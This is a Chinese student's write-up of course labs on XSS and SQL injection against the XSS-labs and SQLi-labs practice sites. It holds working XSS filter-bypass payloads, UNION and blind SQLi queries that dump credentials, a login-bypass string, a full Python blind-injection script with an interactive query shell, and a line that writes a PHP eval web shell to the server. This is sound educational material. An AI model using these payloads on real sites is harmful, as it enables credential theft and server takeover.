0x01 写在前面

本文是对《网络攻防技术》课程关于XSS实验和SQL实验的总结,学习过程使用的是基础的学习网站XSSSQLi-labs

基础入门中……且题目还没有刷完,仅在这里慢慢记录,有空就记录一部分再慢慢更新。

请遵守当地法律法规,如《网络安全法》,请勿在未授权的情况下做任何的尝试。本实验仅在搭建的虚拟环境中实施。

0x02 XSS 攻击

XSS 攻击原理

基本原理

跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

攻击分类

按照分类来讲可以分为三大类

  1. 反射型XSS(非持久型跨站):反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。这类攻击通常使用URL。
  2. 存储型XSS(持久型跨站):最直接的危害类型,跨站代码存储在服务器(数据库)
  3. DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

区别与联系

反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的 URL 才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

DOM 型 XSS 跟另外两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

攻击步骤

反射型XSS

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。

  2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。

  3. 恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在用户电脑上。

  4. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。

  5. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    示例:
    http://xxx/xsstest?key=<script>alert("XSS")</script>
    http://xxx/xsstest?key=<img src='w.123' onerror='alert("XSS")'>
    http://xxx/xsstest?key=<a onclick='alert("XSS")'>点我</a>

存储型XSS

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。

  2. 用户打开带有恶意代码的 URL。

  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。

  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    示例:

    ①窃取用户信息,如cookie,token,账号密码等。
    <script>alert("xss")</script>
    ②生成一些恶意图片,文字,用户点击图片或文字,跳转至相应目标网站
    <img onclick="window.location.href='http://xxx.com'" width='300' src='img/testxss.jpg'/>
    ③劫持流量实现恶意跳转
    <script>window.location.href="http://xxx.com";</script>

DOM型XSS

  1. 攻击者构造出特殊的 URL,其中包含恶意代码。
  2. 用户打开带有恶意代码的 URL。
  3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

攻击方式总结

  1. 在 HTML 中内嵌的文本中,恶意内容以 script 标签形成注入。
  2. 在内联的 JavaScript 中,拼接的数据突破了原本的限制(字符串,变量,方法名等)。
  3. 在标签属性中,恶意内容包含引号,从而突破属性值的限制,注入其他属性或者标签。
  4. 在标签的 href、src 等属性中,包含 javascript: 等可执行代码。
  5. 在 onload、onerror、onclick 等事件中,注入不受控制代码。
  6. 在 style 属性和标签中,包含类似 background-image:url(“javascript:…”); 的代码(新版本浏览器已经可以防范)。
  7. 在 style 属性和标签中,包含类似 expression(…) 的 CSS 表达式代码(新版本浏览器已经可以防范)。

换句话我自己暑假写的:

  1. 通过构建 <script></script> 对在其中嵌入 JS 代码,告诉浏览器这是 JS 代码,让其执行。
    1. 普通的就直接打进去
    2. 对特殊符号进行过滤的可以考虑另外会显示的地方进行闭合,从而构建出新的 <script></script> 标签来执行JS
    3. 对于过滤的毕竟全的,可以考虑多种编码(unicode),大小写或者其他的方法来绕过检测。
    4. 遇到直接删除关键字的,可以考虑在一个关键字中间加一个关键字,这样删掉后前后拼接出来的还是关键字。
    5. 有特殊关键字要求的,可以通过注释的方式来添加无用的关键字。
  2. 通过在其他标签内部注入事件调用 JS,来执行 JS 代码。
    1. 通过构建 click 等事件的监听函数来设置 JS
    2. 通过额外插入标签,如图片标签,超链接标签的 src 为 JS。

闯关记录

level 1

第一关记录一下,开开心心。

这里看到输入的 GET 参数 name 是会回显在前端的

level1-1

然后 F12 查看页面源代码,可以发现标签的格式,使用了 <h2>***</h2> 当输入的内容为 </h2> ***<h2>(闭合内容是我的习惯,当然不闭合后面的也是可以的,因为HTML是逐一向后解释的),可以对HTML中的标签进行闭合,从而在 *** 处嵌入新的标签。

当嵌入的标签是 <script>***</script> 时,我们就可以执行其中的JS脚本。

level1-2

因此就可以轻易得到我们的 payload 了。

1
</h2><script>alert('XSS');</script><h2>

放入之后可以看到显示成功

level1-3

所以这一关是直接注入代码。

level 8

这一关稍微难度大些,题目要求输入一个链接作为友情链接。

level8-1

我们知道 a 标签中也是可以嵌入 JS 代码的,因此只需要我们适当的构建也可以实现XSS攻击。当网页中的 a 标签形如下面的格式时,即可执行JS脚本。

1
<a href="javascript:alert('xss')">友情链接</a>

我们不妨对上述的输入框进行输入测试,输入payload为上述的 href 后面的部分。

1
javascript:alert('xss')

但是很遗憾,被后端关键词过滤掉了,实验最终失败了。 javascript 关键字被过滤掉了。

level8-2

不过别担心,我们还可以通过其他方式看看能否绕过这些检测。

说实话,想直接确定怎么绕过检测是不现实的,正常情况下我们看不到后端的代码,也就无从得知对方的检测策略,因此我们只能一个一个的试。虽然这样的效率很低,在实战中也不一定能够试出来。但这正是我们刷题的作用所在:通过刷题学习更多的绕过方法、知道更多的绕过方法在面对的时候就更有可能绕过对方的检测,从而实现攻击。知道的方法越多,绕过的概率也就越大。

也不多啰嗦了,看了题解知道了此题的绕过方法是通过编码关键字进行绕过。具体编码后的 payload 如下所示:

1
javascrip&#x74;:alert('xss')

这里把 t 字母编码为了 &#x74; 编码哪个字母不是重要的,只是通过这种编码实现了绕过对方的关键字检测。

然后这个 payload 就可以完成修改链接的功能,使得对方点击就送。

level8-3

level8-4

此题考查伪协议绕过, script 转换成 scr_ipton 转换成 o_nsrc 转换成 sr_cdata 转换成 da_tahref 转换成 hr_ef 、大小写失效、" 还被编码,但是尖括号 < >' , %#& 符号没有被过滤。这题就是编码绕过。

level 10

这一关更难些,怎么试都没有反应。

level10-1

随便测试了都没有太多反应,且此题也没有一个明显的诸如输入框、超链接的提示,这个图片也没监听事件,但还是无用。

无奈之下,只能打开 F12 调试一下,简单拆拆可以发现下方隐藏了几个输入框。

level10-2

有没有小朋友想着把下面的 type 直接修改成 block 让输入框出现呢?嘿!这样框是出现了,但是怎么提交呢?没有一个点击触发的按钮诶。没错,我就这样做了,找不到提交的地方了,整个人都傻了。

这是 GET 型的XSS,参数是通过 url 进行提交的,因此不需要输入框,只需要直接在链接中修改了对应的值,然后点击就送就好。

怎么修改呢?只需要将上述的 <input> 标签进行闭合,添加一个监听事件就可以实现绕过。

1
2
3
4
5
6
7
8
<!-- 原标签 -->
<input name='aaa' value="" type="hidden">

<!-- 修改后的标签 -->
<input name='aaa' value="" type="block" onclick="alert('XSS')">

<!-- 差异部分(payload) -->
" type="block" onclick="alert('XSS')

标签中的属性 type 被覆写了,就会忽略后面的值为 hidden, 而前面的 value 标签被 " 闭合了,从而实现了绕过。

但是上述存在三个输入框,怎么知道哪个是有效的呢?我也不知道,所以要么一个一个试,要么都整一个。

input 标签通过 name 属性来鉴别,实验 url 中的参数来区分。

这里我懒,我就都整一个,最后实验结果显示是最后一个。

payload 如下:

1
test&t_link=" type="block" onclick="alert('XSS')&t_history=" type="block" onclick="alert('XSS')&t_sort=" type="block" onclick="alert('XSS')

level10-3

如上图所示,只有第三个输入框是有效的,然后点击出现的框,即可完成此关。

level10-4

此题考查了网页中 标签的隐藏,标签的选取,url GET 传参定位标签,添加鼠标监听事件到 JS

level 12

这一关相对较难,需要结合使用 burp 进行抓包修改包。

level12-1

首先还是看到,通过 keyword 参数传入的值可以正确回显在前端。

F12 抓包查看一下,可以发现存在一个输入框,将用户的 User-Agent 给接收了。或许是某个后端程序员想通过这种方式来检查 User-Agent 吧,至于为什么这样整,我暂且蒙在鼓里。

level12-2

好吧,那既然这样就直接开始上吧。

随便输入一个,然后将 burp 代理挂上,对目标进行抓包。

level12-3

然后修改其 User-Agent 如下,以对上述的标签进行闭合和显示。

payload如下:

1
" onmouseover=alert(1) type="text"

level12-4

然后点击 forward ,将包发送过去。之后将鼠标放到框上扫过即可触发此 JS

level12-5

level12-6

此题考查的还是输入框的参数获取不严格,同时也是一个难以想到的点——对 User-Agent 进行修改。

level 16

这一关是完全不会的。参考了好几个链接。他们的做法都是利用插入一个图片实现 XSS 攻击。(毕竟也没框,也没啥其他东西

level16-1

故技重施,先整一个 test 看看会发生什么。可以看到前端显示了一个 test,所以说我们的输入是有所反应的,是存在攻击的可能性的。

level16-2

从参考的各个链接中学习到的攻击方法,大同小异。

基本思想应该是:往页面中插入一个不存在的图片链接,当图片无法加载时触发函数 onerror 后接的函数,从而实现攻击。

好的,那就整一个试试。 ?keyword=<img src=1 onerror=alert('XSS')>

结果毫无反应,空格啥的都被替换的,无法实现成功的目的。多次的测试,可以发现确实如此:空格、script/ 等都被替换成了 &nbsp,同时大小写绕过也有检测。

level16-3

因此,通过查阅的参考资料显示需要使用 换行: %0a 和 回车: %0d 来进行绕过。

那就再整一个试试。 ?keyword=<img%0dsrc=1%0donerror=alert('XSS')>

点击就送,一瞬就成功了。

level16-4

因此 payload 为

1
?keyword=<img%0dsrc=1%0donerror=alert('XSS')>

此题考查的是,通过图片加载失败,错误回调函数的利用。

0x03 SQL 注入攻击

SQL 注入攻击原理

基本原理

SQL 注入,也称 SQL 注码,是发生于应用程序数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵。通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。具体来说,它是利用现有应用程序,将(恶意)的 SQL 命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意) SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL 语句。比如先前的很多影视网站泄露 VIP 会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到 SQL 注入式攻击.

攻击分类

按照参数类型分类

常见的sql注入按照参数类型可分为两种:数字型和字符型。

  1. 数字型

    当发生注入点的参数为整数时,比如 ID,num,page 等,这种形式的就属于数字型注入漏洞。

  2. 字符型

    同样,当注入点是字符串时,则称为字符型注入,字符型注入需要引号来闭合。

按照数据库返回结果分类

若按照数据库返回的结果,分为回显注入、报错注入、盲注。

  1. 回显注入

    可以直接在存在注入点的当前页面中获取返回结果。

  2. 报错注入

    程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以构造一些报错语句从错误信息中获取想要的结果。

  3. 盲注

    程序后端屏蔽了数据库的错误信息,没有直接显示结果也没有报错信息,只能通过数据库的逻辑和延时函数来判断注入的结果。根据表现形式的不同,盲注又分为 based boolean 和 based time 两种类型。

3.1.2.3 按照注入位置分类

按照注入位置及方式不同分为:post 注入,get 注入,cookie 注入,盲注,延时注入,搜索注入,base64 注入,无论此种分类如何多,都可以归纳为以上两种形式。

攻击步骤

  1. 寻找注入点
  2. 猜测后台语句
  3. 猜测闭合符
  4. 确定列数
  5. 寻找显示位
  6. 获取数据库名
  7. 获取数据库中的表名
  8. 获取表中的列名
  9. 对具体目标执行查询

攻击方式总结

闭合符

闭合符可以很复杂也可以很简单,可以没有闭合符,也可以有。

' , " , ') , ") ")) 等,多试试应该能试出来。

注释符

常用的注释符号有几种,如 # -- (减减空格)。若要在 GET 中去注释,则需要将其进行 url 编码为 --+。但 POST 中就不可以编码。

手工注入的常用函数

union和union all

unionunion all 都是联合查询,用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中,区别在于 union 会去除重复的结果,union all 不会。

要注意的是前后两个 select 语句中的列数必须一致

group_concat和concat

concat 函数用于将多个字符串连接到一起形成一个字符串,效果如下:

concat_ws(',', *, *) : 第一个参数是分隔符,后面的拼到一起的列

group_concat 函数会将要查询的结果以一个组合的形式返回,group_concat 需要和 group by 函数配合使用,否则会将返回结果以一行显示。通常用于将多条记录合并为一条记录。

除此之外还可以使用 Separator 关键字加分隔符:

group_concat&concat-1

group_concat&concat-2

length()

该函数用于获取字符串的长度。

mid()

SQL MID() 函数用于得到一个字符串的一部分。这个函数被 MySQL支持,但不被 MS SQL ServerOracle 支持。在 SQL ServerOracle 数据库中,我们可以使用 SQL SUBSTRING 函数或者 SQL SUBSTR 函数作为替代。

mid(str, start, length) , 从 str 中的 start 开始查,一共查询 length 这么长,查到得结果返回了。下标从 1 开始的。

left()

LEFT() 函数是一个字符串函数,它返回具有指定长度的字符串的左边部分。

用法:

1
LEFT(str,length);

LEFT() 函数接受两个参数:

  • str 是要提取子字符串的字符串。
  • length 是一个正整数,指定将从左边返回的字符数。

LEFT() 函数返回 str 字符串中最左边的长度字符。如果 strlength 参数为 NULL ,则返回 NULL 值。

如果 length0 或为负,则LEFT函数返回一个空字符串。如果length 大于 str 字符串的长度,则 LEFT 函数返回整个 str 字符串。

请注意,SUBSTRING (或 SUBSTR )函数也提供与 LEFT 函数相同的功能。

substr()

substrmid 函数的作用和用法基本相同,只不过 substr 支持的数据库更多,mid 只支持 mysql 数据库。

用法:

1
substr(string string,num start,num length);

ascii()

ascii 函数用来返回字符串 str 的最左面字符的 ASCII 代码值。如果 str 是空字符串,返回 0 。如果 strNULL ,返回 NULL 。这个函数可以和 substr 函数配合来使用猜测一个字符。

sleep()

sleep 函数可以让 sql 执行的时候暂停一段时间,函数的返回结果为 0

if(expr1,expr2,expr3)

语法如下:

IF(expr1,expr2,expr3) ,如果 expr1 的值为 true ,则返回 expr2 的值,如果 expr1 的值为 false ,则返回 expr3 的值。

count()

count 函数是用来统计表中或数组中记录的一个函数,下面我来介绍在 MySQLcount 函数用法与性能比较吧。count(*) 它返回检索行的数目, 不论其是否包含 NULL 值。

load_file()

load_file() 可以用来读取文件,此函数的执行必须使用 dba 权限或者 root 权限。

需要注意的是:

mysql 新版本下 secure-file-priv 字段 : secure-file-priv 参数是用来限制 LOAD DATA , SELECT … OUTFILE, and LOAD_FILE() 传到哪个指定目录的。

  • ure_file_priv 的值为 null ,表示限制 mysqld 不允许导入,导出
  • secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入,导出只能发生在 /tmp/ 目录下
  • secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入,导出做限制

如何查看 secure-file-priv 参数的值:

1
show global variables like '%secure%';

into outfile()

into outfile() 函数可以将字符串写入文件,此函数的执行也需要很大的权限,并且目标目录可写。

闯关笔记

less 1

第一关一定要做一下,开开心心。

less1-1

寻找注入点

可以看到,他让我们在 url 链接中传入一个 GET 参数 id 同时告诉了这个是一个数字型的。于是我们就整一哈。因此注入点就在这里。

1
?id=1

less1-2

可以看到显示参数成功。

临时换了设备,所以IP不一样了

确定闭合符

输入单引号发生了报错,再单引号后进行注释则无报错。因此闭合符就是单引号。

less1-3

less1-4

确定列数

于是通过 order by 确定列数,这里手动测试到 3 列,第4列报错了。因此一共有三列。

1
?id=1' order by 3 --+

less1-5

1
?id=1' order by 4 --+

less1-6

确定显示位

通过 union select 1,2,3 --+ 确定回显位置在 23 。一共两个显示位。

1
?id=-1' union select 1,2,3 --+

less10-7

确定当前库名和库下所有的表名

使用下面的 payload 获取当前数据库的库名和数据库下的表名。事实上还应该先判断数据库是否是 mySQL 来确定函数的,但是我们直接用报错了正好说明不是,没有就是。

1
?id=-1' union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

less1-8

获取*表下的所有列名

使用下面的 payload 可以获取某个表中的所有列名,这里我们以 users 表为例,其他同理。

1
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+

less1-9

获取***表中***列中数据

通过下面的 payload 可以获取任意表中任意列中的全部数据,这里以 users 表中的 userpassword 为例子。

1
?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users) --+

less1-10

可以看到我们完成了对数据库中全部数据的请求。

less 2

通过测试此关是数字型的 id 参数,而第一个是 ' 闭合的字符型,因此只需要将此处的参数设置为数字型即可以与第一关一样的步骤实现。

less 3

通过尝试可以发现这一关是使用 ') 闭合的字符型,因此只需要将闭合符修改一下,也就可以用第一关一样的步骤进行实现。

less 4

通过尝试可以发现这一关是使用 ") 闭合的字符型,因此只需要将闭合符修改一下,也就可以用第一关一样的步骤进行实现。

less 5

注入类型判断

这一关则明显不同,通过测试可以知道前端有两种状态。响应正确会显示 You are in........ 否则就没有输出回显。因此可以判断其是一个bool盲注。

less5-1

本来可以使用 sqlmap 直接跑出来,但是为了学习还是应该自己一步一步做。

由于没有显示位所以不需要进行显示位的确定。

bool盲注解释

前面提到,bool 盲注就是前端只会根据不同的条件显示两种状态,像极了bool变量只有true/false两种状态。

  1. 刚好可以通过合适构造条件表达式,通过显示与否来确定所构建的表达式的真假。(1)
  2. 而mysql数据库有一系列函数,用于取某个字符 ASCII 值的函数 ascii() 。(2)
  3. 同时还有类似于python切片操作的函数,可以对一个字符串进行切割的函数 mid() 。(3)
  4. 我们需要查找的所有信息都可以通过适当的方法转化为字符串。(4)

假设我们要求的仅仅是一个字符 X , 则我们可以结合上述的(1)和(2).通过 ascii() 函数获取 X 的 ASCII 值,然后通过不停构造大于小于的条件表达式,通过回显的真假慢慢得到目标字符 X 的 ASCII 值,从而得到字符 X 。并且此方法具有良好的二分性,可以通过二分查找的方式实现加速。

假设我们要求的字符串为 S 。则我们可以通过函数 mid() 对目标字符串 S 进行分割,逐一分解成一个一个的字符 X ,再利用上一个求解方法,就可以逐一对目标字符串 S 的每一位进行求解,从而得到字符串 S

所以我们要求的所有信息都可以先利用语句转化为字符串 S ,再结合上面的求解方法对目标进行求解。

确定数据库名

mysql数据库中使用 database() 函数,可以得到目标数据库的名字,其类型也是一个字符串。因此可以利用上述的方法得到。

这里首先 id = 1 的表达式是恒为真的,通过 and 逻辑进行拼接,则后面的表达式为真则整体为真,为假则整体为假,反之亦然。因此,可以通过这个方式判断后续有效表达式的真假。

构建的最初 payload 如下,结果返回为 true。也就是数据库名第一个字母 ASCII 值大于10。因此可使用二分法放大区间左端点。

1
?id=1' and ascii(mid(database(), 1, 1)) > 10 --+

less5-2

放大左端点,继续测试。返回结果是 false。也就是数据库名第一个字母 ASCII 值小于120。因此可使用二分法缩小区间右端点。

1
?id=1' and ascii(mid(database(), 1, 1)) > 120 --+

less5-3

缩小右端点,继续测试。返回结果为true。也就是数据库名第一个字母 ASCII 值大于113。因此可使用二分法放大区间左端点。

1
?id=1' and ascii(mid(database(), 1, 1)) > 113 --+

less5-4

放大左端点,继续测试。返回结果是 false。也就是数据库名第一个字母 ASCII 值小于115。因此可使用二分法缩小区间右端点。

1
?id=1' and ascii(mid(database(), 1, 1)) < 115 --+

less5-5

放大左端点,继续测试。返回结果是 true。也就是数据库名第一个字母 ASCII 值大于114。因此可使用二分法放大区间左端点。

1
?id=1' and ascii(mid(database(), 1, 1)) > 114 --+

less5-6

到这里就OK了,ASCII 值大于114同时不小于115的值就是115。查阅一下可以知道,ASCII为115的字符是 s

于是成功得到了第一个字符是 s

同理可以得到后续的所有字符,也可以得到其他任意的字符串包括表名和列名,表中的数据。

自动脚本

闲来无事,就顺手将上述的实现方法使用 python 实现了一遍。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import requests
import json

def sendTo(url):

# print(f"正在请求url={url}")
res = requests.get(url)

return res

# 检测返回网页是否是True还是False
def check(res):

if ("You are in..........." in (res.text)):
return True
return False

# 获取目标的字段的长度
def getLength(host):

length = 0

while True:
url = host + f"{length} --+"
res = sendTo(url)

if check(res) == False:
break

length += 1

return length

# 获取一个ascii对应的字符
# 此处的url是只包含了>前面(含>)的部分,为了可以复用
def getAChar(url0):
l = 0
r = 255
while l <= r:
mid = (l + r) // 2

url = url0 + str(mid) + ' --+'
res = sendTo(url)

# True 说明值比原来小
if check(res):
l = mid +1
else:
r = mid - 1

return chr(r)

# 获取数据库的名字
def getDatabaseName(host):

# 查询数据库名字的长度
url = host + "?id=1' and length(database()) > "
databaseLen = getLength(url)

# 查询数据库名字
databaseName = ''
for i in range(1, databaseLen + 1):
url = host + f"?id=1' and ascii(mid(database(),{i},1)) >= "
databaseName += getAChar(url)

return databaseName

# 通过字段长度和sql拼接语句 查询group_concat后的具体内容
def getContent(host, length, sql):

name = ''
for i in range(1, length + 1):
url = host + f"?id=1' and ascii(mid({sql}, {i}, 1)) >= "
name += getAChar(url)

return name

# 查询有哪些表
def getTables(host, database):

# database = getDatabaseName(host)
# database = 'security'

# 定义一个查询group_concat的表的子查询语句
sqlSelectTable = f'(select group_concat(table_name) from information_schema.tables where table_schema=\"{database}\")'

# 获取group_concat的字符长度
url = host + f"?id=1' and length({sqlSelectTable}) > "
groupTableLength = getLength(url)

# 获取group_concat后的字段具体内容
group_concat_table_name = getContent(host, groupTableLength, sqlSelectTable)

# 转化为列表
tables = group_concat_table_name.split(',')

return tables

# 获取所有的列 利用字典的方式来存储 键为table,值为columns的列表
def getColumns(host, tables, database):

columns = {}

# 遍历每个table
for table in tables:
# 定义一个子查询 获取当前table表 下面的group_concat了的列的子查询语句
sqlSelectColumn = f'(select group_concat(column_name) from information_schema.columns where table_schema=\"{database}\" and table_name=\"{table}\")'

# 获取group_cancat了的列的长度
url = host + f"?id=1' and length({sqlSelectColumn}) > "
groupColumnLength = getLength(url)

# 获取group_concat后的字段的具体内容
group_concat_column_name = getContent(host, groupColumnLength, sqlSelectColumn)

# 转化为列表
column = group_concat_column_name.split(',')
print(f"{table}: ",end='')
print(column)

# 构建字典
columns[table] = column

return columns

# 尝试构建一个shell
def sql_shell(host, sql):

# 获取查询的内容的长度
url = host + f"?id=1' and length(({sql})) > "
contentLength = getLength(url)

# 获取返回的内容
content = getContent(host, contentLength, sql)

return content

# 程序主函数
def main():

HOST = "http://192.168.68.124/sqli-labs/Less-5/"

database = getDatabaseName(HOST)
print("\ndatabase name: " + database)

tables = getTables(HOST, database)
print("\ntables: ", end='')
print(tables)
print("\n\n")

print("columns: ")
columns = getColumns(HOST, tables, database)
print("\ndatabase structure: ")
print(f"{database}: ", end='')
print(columns)

print()
print("下面是一个简单shell,输入 'q' 或者 'exit' 退出.")
print("之所以是简单的是因为只写了 'select ***' 也就是查询一列的,其他的放弃了,也不能 'select * '\n")
print("="*10 + "sql-shell" + "="*10)

while True:
sql = str(input("$> "))

if sql == '' or sql == '\n' or sql == None:
continue

if sql == 'q' or sql == 'exit':
break

if ';' in sql:
sql = sql.replace(';', '')

sql = '(' + sql[:7] + f"group_concat({sql[7:sql.index(' from')]})" + sql[sql.index(' from'):] + ')'

content = sql_shell(HOST, sql)
print(content.split(','))
print()


if __name__ == '__main__':
main()

less5-7

less 6

测试一下会发现这一关的闭合符为 " ,因此方法同前一个,只是将闭合符号转化一下即可。

less6-1

less 7

这一关略有点恶心,测试闭合符 ' 发现语法报错,但是注释了后续还是会报错。在多次测试后,确定闭合符号为 '))

1
?id=1')) --+

less7-1

按照我的性格就也是一个bool盲注就可以搞定了,使用上面一样的方法,只是本次 true 的标识是 “You are in…. Use outfile……” 而 false 的标识是报错。但是这个不怎么友好。有可能也是报错但不是 false。

导出文件

查了一下,根据打印的信息 Use outfile...... 应该是可以得到是需要导出什么文件的。

判断是否有权限

由前面的分析可知,本次没有保存则说明条件为 true。 所以通过下面的 payload 如果没有报错,则说明表达式是真,也就是具有 root 权限。实际确实具有权限,无报错。

1
?id=1')) and (select count(*) from mysql.user)>0 --+

less7-2

确定列数与显示位

通过使用下面的 payload 再结合前面的真值,可以确定数据库就是3列。

1
2
3
4
5
# 无报错
?id=1')) order by 3--+

# 有报错
?id=1')) order by 4--+

通过下面的 payload,可以确定确实无显示位。

1
?id=1')) union select 1,2,3 --+
数据导出

这里据说是要用绝对路径保存文件 同样的道理也可以将其他数据写入。但是我尚且不懂写入了能干啥,还不是拿不到。

1
?id=-1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) into outfile "/tables.txt" --+

并且这种方法我没有测试成功。

生成木马

导出数据不成功,还有另一种方法是生成一个一句话木马,然后使用其他工具,诸如 中国菜刀御剑 等工具进行连接。不过,如何得知当前的准确绝对路径我尚且蒙在鼓里。

1
?id=-1')) union select 1,2,'<?php eval($_POST["cmd"]);?>' into outfile "D:\\PHPWAMP_IN3\\wwwroot\\sqli-labs-master\\Less-7\\shell.php"--+

less 8

这一关测试一下,会发现是一个通过 ' 进行闭合的 bool 盲注,使用前面的脚本跑一下就好了。

less 9

这一关又是新一关,这关无论对错都只有一个回显,但是在真值表达式中插入 sleep 时(?id=1' and sleep(3) --+)会出现延迟。因此可以通过时间实现盲注,也即是时间盲注

1
?id=1' and sleep(3) --+

因此可以通过下面的 payload 在上面的自动脚本上进行修改,实现自动时间盲注。

1
2
# i 即是需要求解的字符串中第几个需要求解的字符, 115 就是需要猜测的 ascii 的值
"?id=1' and if(ascii((mid((select binary group_concat(column_name) from information_schema.columns where table_name='users') ,i,1))>115),sleep(2),1) --+"

在 python 中,可以通过下面的方式实现超时的判断,从而实现对目标条件是否满足的判断,从而实现相应的脚本。

1
2
3
4
try:
r = requests.get(url+payload, timeout=1) # 设置超时 1S
except:
pass

PS:

在mysql的语法中,

1
IF(expr1,expr2,expr3)

如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

less 10

这题和前面一题一样,只是闭合符换为了 " 。其他的都可以用上一题的方法来进行求解。

less 11

这一题直接长得都和前面不一样了。可以看间有了一个登录框了,虽然长得丑陋了点,但是又不是不能用。所以这是个 post 型的注入,前面都是get型的。

less11-1

二话不说,结合前面的经验,我们先整一个闭合符的上去测试一下。对后端程序的语句多半也是同时判断了用户名和觅马是否一致,因此,我们大可以尝试一下,直接输入用户名,然后将后面的语句注释掉,从而越过 password 的检测。也就是所谓的万能觅马。

1
2
username: admin' #
password: 123 # 随便乱输

less11-2

事实上,为了保险点万一 admin 用户没有就不行了,因此可以整一个真正的万能觅马。

1
2
username: 1' or 1=1 #
password: 123 # 随便乱输

0x04 总结

本次实验将XSS攻击和SQL注入攻击进行了一个简单的整理和学习。可以发现这些漏洞都来源于与用户的数据交互中没有对用户的数据合理性进行严格的审查。虽然这些方法都是很入门的简单的,但是基本原理是一致的,通过学习可以掌握这些基本的攻击原理,才能变化出更多的能实际应用的方法。

因此,用户都是坏蛋的。用户的数据都是不可信的。所以数据和用户相关一定要严格进行审查。

最后,请勿在未授权的情况下,进行任何的尝试。

谨以此,备忘。

0x05 参考

XSS

XSS 攻击原理 https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

XSS 攻击类型方法 https://www.jianshu.com/p/04e0f8971890

level 16 参考链接1 https://blog.csdn.net/qq_42111373/article/details/105999963

level 16 参考链接2 https://www.hackersb.cn/hacker/140.html

SQL

SQL 攻击原理 https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5

数据导出参考1 https://blog.csdn.net/nicesa/article/details/106225172

数据导出参考2 https://lethe.site/2019/07/26/SQLi-Labs%E9%80%9A%E5%85%B3%E7%AC%94%E8%AE%B0/